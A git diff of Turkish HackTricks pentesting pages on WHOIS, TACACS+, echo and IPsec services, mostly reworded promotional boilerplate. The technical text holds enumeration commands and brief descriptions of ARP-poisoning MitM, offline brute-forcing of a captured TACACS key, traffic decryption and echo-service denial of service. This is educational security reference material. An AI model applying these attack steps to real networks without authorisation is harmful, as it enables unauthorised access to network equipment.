* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**. * **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
@ -140,7 +140,7 @@ HackTricks'i desteklemenin diğer yolları:
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,20 +1,20 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
**Try Hard Security Group** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,7 +22,7 @@ HackTricks'ı desteklemenin diğer yolları:
# Temel Bilgiler # Temel Bilgiler
**WHOIS** protokolü, belirli veritabanları aracılığıyla **çeşitli İnternet kaynaklarının sahipleri veya kayıt sahipleri hakkında sorgulama yapma** standart bir yöntem olarak hizmet verir. Bu kaynaklar alan adları, IP adresi blokları ve otonom sistemleri gibi çeşitli kaynakları kapsar. Bunların ötesinde, protokol daha geniş bir bilgi yelpazesine erişimde de uygulanır. **WHOIS** protokolü, belirli veritabanları aracılığıyla **çeşitli İnternet kaynaklarının sahipleri veya kayıt sahipleri hakkında sorgulama yapma** standart bir yöntem olarak hizmet verir. Bu kaynaklar alan adları, IP adresi blokları ve otonom sistemleri gibi çeşitli kaynakları kapsar. Bu protokol, daha geniş bir bilgi yelpazesine erişimde de uygulanır.
**Varsayılan port:** 43 **Varsayılan port:** 43
``` ```
@ -31,7 +31,7 @@ PORT STATE SERVICE
``` ```
# Sırala # Sırala
Bir alan adı hakkında whois servisinin sahip olduğu tüm bilgileri alın: Bir whois hizmetinin bir alan adı hakkında sahip olduğu tüm bilgileri alın:
```bash ```bash
whois -h <HOST> -p <PORT> "domain.tld" whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT> echo "domain.ltd" | nc -vn <HOST> <PORT>
@ -48,7 +48,7 @@ Ayrıca, WHOIS hizmetinin her zaman bilgileri depolamak ve çıkarmak için bir
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -81,7 +81,7 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. * **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details> </details>

View file

@ -6,17 +6,17 @@
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**. * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ HackTricks'ı desteklemenin diğer yolları:
## Temel Bilgiler ## Temel Bilgiler
**Terminal Access Controller Access Control System (TACACS)** protokolü, routerlara veya Network Access Server (NAS) cihazlarına erişmeye çalışan kullanıcıları merkezi olarak doğrulamak için kullanılır. Güncellenmiş sürümü olan **TACACS+**, hizmetleri kimlik doğrulama, yetkilendirme ve hesaplama (AAA) olarak ayırır. **Terminal Access Controller Access Control System (TACACS)** protokolü, routerlara veya Network Access Server (NAS)lara erişmeye çalışan kullanıcıları merkezi olarak doğrulamak için kullanılır. Güncellenmiş sürümü olan **TACACS+**, hizmetleri kimlik doğrulama, yetkilendirme ve hesaplama (AAA) olarak ayırır.
``` ```
PORT STATE SERVICE PORT STATE SERVICE
49/tcp open tacacs 49/tcp open tacacs
@ -33,7 +33,7 @@ PORT STATE SERVICE
## Kimlik Doğrulama Anahtarını İzleme ## Kimlik Doğrulama Anahtarını İzleme
Eğer istemci ve TACACS sunucusu iletişimi bir saldırgan tarafından ele geçirilirse, **şifreli kimlik doğrulama anahtarı izlenebilir**. Saldırgan daha sonra **günlüklerde tespit edilmeden anahtar üzerinde yerel bir kaba kuvvet saldırısı deneyebilir**. Anahtarı kaba kuvvet saldırısıyla başarıyla çözerse, saldırgan ağ ekipmanlarına erişim elde eder ve Wireshark gibi araçlar kullanarak trafiği şifreleyebilir. Eğer istemci ve TACACS sunucusu iletişimi bir saldırgan tarafından ele geçirilirse, **şifrelenmiş kimlik doğrulama anahtarı izlenebilir**. Saldırgan daha sonra anahtara karşı **günlüklerde tespit edilmeden yerel bir kaba kuvvet saldırısı deneyebilir**. Anahtarı kaba kuvvet saldırısıyla başarıyla çözerse, saldırgan ağ ekipmanlarına erişim elde eder ve Wireshark gibi araçlar kullanarak trafiği şifreleyebilir.
### MitM Saldırısı Gerçekleştirme ### MitM Saldırısı Gerçekleştirme
@ -45,12 +45,12 @@ Bir **ARP zehirleme saldırısı, Orta Adam (MitM) saldırısı gerçekleştirme
``` ```
sudo loki_gtk.py sudo loki_gtk.py
``` ```
Eğer anahtar başarıyla **kaba kuvvet saldırısıyla** (**genellikle MD5 şifreli biçimde)** kırılırsa, **cihaza erişebilir ve TACACS ile şifrelenmiş trafiği şifreleyebiliriz.** Eğer anahtar başarıyla **kaba kuvvet saldırısıyla** (**genellikle MD5 şifreli biçimde)** kırılırsa, **cihaza erişebilir ve TACACS ile şifrelenmiş trafiği çözebiliriz.**
### Trafik Şifresinin Çözülmesi ### Trafik Çözme
Anahtar başarılı bir şekilde kırıldığında, bir sonraki adım **TACACS ile şifrelenmiş trafiği çözmektir**. Wireshark, şifreli TACACS trafiğiyle başa çıkabilir, eğer anahtar sağlanmışsa. Çözümlenen trafiği analiz ederek, **kullanılan banner ve yönetici kullanıcı adı** gibi bilgiler elde edilebilir. Anahtar başarılı bir şekilde kırıldığında, bir sonraki adım **TACACS ile şifrelenmiş trafiği çözmektir**. Wireshark, anahtar sağlandığında şifreli TACACS trafiğiyle başa çıkabilir. Çözülen trafiği analiz ederek, **kullanılan banner ve yönetici kullanıcısının kullanıcı adı gibi bilgiler** elde edilebilir.
Elde edilen kimlik bilgileri kullanılarak ağ ekipmanının kontrol paneline erişim sağlandığında, saldırgan ağ üzerinde kontrol sağlayabilir. Bu eylemlerin sadece eğitim amaçlı olduğunu ve uygun izin olmadan kullanılmaması gerektiğini unutmamak önemlidir. Elde edilen kimlik bilgileriyle ağ ekipmanının kontrol paneline erişerek, saldırgan ağ üzerinde kontrol sağlayabilir. Bu eylemlerin sadece eğitim amaçlı olduğunu ve uygun izin olmadan kullanılmaması gerektiğini unutmamak önemlidir.
## Referanslar ## Referanslar
@ -58,20 +58,20 @@ Elde edilen kimlik bilgileri kullanılarak ağ ekipmanının kontrol paneline er
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -1,20 +1,20 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**. * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,9 +22,9 @@ HackTricks'ı desteklemenin diğer yolları:
# Temel Bilgiler # Temel Bilgiler
Bu ana makinede bir echo servisi çalışıyor. Echo servisi test ve ölçüm amaçlarıyla tasarlanmış olup hem TCP hem de UDP protokollerinde dinleyebilir. Sunucu aldığı herhangi bir veriyi değiştirmeden geri gönderir.\ Bu ana makinede bir echo servisi çalışıyor. Echo servisi test ve ölçüm amaçları için tasarlanmış olup hem TCP hem de UDP protokollerinde dinleyebilir. Sunucu, aldığı herhangi bir veriyi değiştirmeden geri gönderir.\
**Aynı veya başka bir makinedeki echo servisine bağlanarak hizmet reddine sebep olmak mümkündür**. Üretilen aşırı yüksek paket sayısı nedeniyle etkilenen makineler hizmet dışı bırakılabilir.\ **Aynı veya başka bir makinedeki echo servisine bağlanarak hizmet reddine neden olmak mümkündür**. Üretilen aşırı yüksek paket sayısı nedeniyle etkilenen makineler hizmet dışı bırakılabilir.\
Bilgi: [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) Bilgi kaynağı: [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**Varsayılan Port:** 7/tcp/udp **Varsayılan Port:** 7/tcp/udp
``` ```
@ -51,20 +51,20 @@ Hello echo #This is the response
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin.** * 💬 **Discord grubuna** katılın (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,13 +2,13 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@ -16,7 +16,7 @@ HackTricks'ı desteklemenin diğer yolları:
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,13 +24,13 @@ HackTricks'ı desteklemenin diğer yolları:
## Temel Bilgiler ## Temel Bilgiler
**IPsec**, ağlar arasındaki iletişimi (LAN'dan LAN'a) güvence altına almak için başlıca teknoloji olarak kabul edilir ve uzaktan kullanıcılardan ağ geçidine (uzaktan erişim) hizmet vererek kurumsal VPN çözümleri için omurga görevi görür. **IPsec**, ağlar arasındaki iletişimi (LAN'dan LAN'a) güvence altına almak için başlıca teknoloji olarak kabul edilir ve uzaktan kullanıcıların ağ geçidine (uzaktan erişim) iletişimini güvence altına alır, kurumsal VPN çözümleri için omurga görevi görür.
İki nokta arasında bir **güvenlik birliği (SA)** oluşturulması, **IKE** tarafından yönetilir ve kimlik doğrulama ve anahtar değişimi için tasarlanmış bir protokol olan ISAKMP'nin çatısı altında çalışır. Bu süreç birkaç aşamada gerçekleşir: İki nokta arasında bir **güvenlik birliği (SA)** oluşturulması, kimlik doğrulama ve anahtar değişimi için tasarlanmış bir protokol olan **IKE** tarafından yönetilir ve ISAKMP'nin çatısı altında çalışır. Bu süreç birkaç aşamada gerçekleşir:
- **Faz 1:** İki uç nokta arasında güvenli bir kanal oluşturulur. Bu, bir Ön Paylaşılan Anahtar (PSK) veya sertifikaların kullanımıyla, üç çift mesaj içeren ana mod veya **agresif mod** kullanılarak başarılır. - **Faz 1:** İki uç nokta arasında güvenli bir kanal oluşturulur. Bu, bir Ön Paylaşılan Anahtar (PSK) veya sertifikalar kullanılarak, üç çift mesaj içeren ana mod veya **agresif mod** kullanılarak başarılır.
- **Faz 1.5:** Zorunlu olmasa da, Bu aşama, Kullanıcı kimliğini doğrulayan Genişletilmiş Kimlik Doğrulama Aşaması olarak bilinir ve bağlanmaya çalışan kullanıcının kimliğini kullanıcı adı ve şifre gerektirerek doğrular. - **Faz 1.5:** Zorunlu olmasa da, Bu aşama, Kullanıcı kimliğini doğrulayan ve kullanıcıdan bir kullanıcı adı ve şifre isteyen Genişletilmiş Kimlik Doğrulama Aşaması olarak bilinir.
- **Faz 2:** Bu aşama, **ESP** ve **AH** ile verileri güvence altına almak için parametreleri müzakere etmeye adanmıştır. Güvenliği artırmak için **Mükemmel İleri Gizlilik (PFS)** sağlamak için Faz 1'dekilerden farklı algoritmaların kullanılmasına izin verir. - **Faz 2:** Bu aşama, **ESP** ve **AH** ile verileri güvence altına almak için parametreleri müzakere etmeye adanmıştır. Faz 1'dekilerden farklı algoritmaların kullanılmasına izin verir ve **Mükemmel İleri Gizlilik (PFS)** sağlayarak güvenliği artırır.
**Varsayılan port:** 500/udp **Varsayılan port:** 500/udp
@ -46,9 +46,9 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
``` ```
## **Geçerli bir dönüşüm bulma** ## **Geçerli bir dönüşüm bulma**
